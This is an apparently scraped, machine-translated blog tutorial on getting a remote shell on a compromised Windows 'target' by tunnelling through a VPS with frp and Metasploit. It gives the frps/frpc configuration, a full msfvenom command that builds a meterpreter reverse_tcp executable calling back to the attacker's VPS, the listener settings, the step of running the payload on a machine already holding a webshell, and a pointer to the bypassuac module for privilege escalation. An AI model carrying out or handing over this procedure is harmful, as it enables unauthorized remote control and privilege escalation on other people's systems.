当前位置:网站首页>FRP reverse proxy +msf get shell
FRP reverse proxy +msf get shell
2022-07-03 00:15:00 【Lomi only bear】
0x00: brief introduction frp Is a reverse proxy tool . You can easily penetrate the intranet . Provide services to the Internet ,frp Support tcp agreement , http agreement , https Equal agreement type , also web Service supports routing and forwarding based on domain name .
0x01: Environmental accountability
Drone aircraft :x.x.174.171( Hereinafter referred to as target )
kali:192.168.1.106( Hereinafter referred to as kali)
vps:x.x.193.94( Hereinafter referred to as vps)
Obtained in the target webshell
0x02: Start reverse
One 、 stay vps Downloading in frp And edit frps.ini
vim frps.ini
#frp Connection port between server and client ,frps and frpc It has to be consistent bind_port = 7000
start-up frps:./frps -c ./frps.ini
Two 、 stay kali Downloading in frp And edit frpc.ini
vim frpc.ini
[common] server_addr = x.x.193.94 server_port = 7000 #frpc Work port , Must match the above frps bring into correspondence with [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 # Forward to this machine 5555 remote_port = 6000 # The service side with 6000 Port forward to local
start-up frpc:./frpc -c ./frpc.ini
here frp The reverse proxy is finished , Let's start with MSF Horse making and setting monitoring .
3、 ... and 、MSF Make a horse
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.193.94 lport=6000 -f exe x>i.exe
Notice here :
lport The port of is you frpc.ini Inside remote_port = 6000 port
Four 、 Set listening 、 perform msf Horse
Notice here :
set lhost 127.0.0.1 # Set listening ip, It has to be with frpc Medium local_ip Agreement set lport 5555 # Set listening port , And frpc Medium local_port Agreement
Go to the target plane to execute i.exe
Observe vps Upper frp
Observe local kali
Obtained shell
tips: Built-in module Local Exploit Suggester. This module can help us identify which vulnerabilities in the system can be exploited , And provide us with the most suitable exp, Through this exp We can further raise our rights .
My most commonly used bypassuac modular
exploit/windows/local/bypassuac
边栏推荐
- 流媒体技术优化
- Many to one, one to many processing
- Digital twin visualization solution digital twin visualization 3D platform
- Should you study kubernetes?
- 基于OpenCV实现口罩识别
- PR FAQ, what about PR preview video card?
- How to apply for company email when registering in company email format?
- Difference between NVIDIA n card and amda card
- Happy Lantern Festival, how many of these technical lantern riddles can you guess correctly?
- JDBC Exercise case
猜你喜欢
What are the recommended thesis translation software?
写论文可以去哪些网站搜索参考文献?
请问大家在什么网站上能查到英文文献?
RTP 接发ps流工具改进(二)
Additional: token; (don't read until you finish writing...)
Architecture: database architecture design
洛谷_P2010 [NOIP2016 普及组] 回文日期_折半枚举
How much do you know about synchronized?
Luogu_ P2010 [noip2016 popularization group] reply date_ Half enumeration
Request and response
随机推荐
35页危化品安全管理平台解决方案2022版
Interface difference test - diffy tool
接口自动化覆盖率统计——Jacoco使用
What are the recommended thesis translation software?
In February 2022, the ranking list of domestic databases: oceanbase regained its popularity with "three consecutive increases", and gaussdb is expected to achieve the largest increase this month
QT 如何将数据导出成PDF文件(QPdfWriter 使用指南)
实用系列丨免费可商用视频素材库
MFC文件操作
洛谷_P1149 [NOIP2008 提高组] 火柴棒等式_枚举打表
Xcode real machine debugging
Request and response
leetcode 650. 2 keys keyboard with only two keys (medium)
[shutter] open the third-party shutter project
TypeError: Cannot read properties of undefined (reading ***)
Bean加载控制
Happy Lantern Festival, how many of these technical lantern riddles can you guess correctly?
Installing redis under Linux
Leetcode skimming - game 280
Which software can translate an English paper in its entirety?
AcWing_188. 武士风度的牛_bfs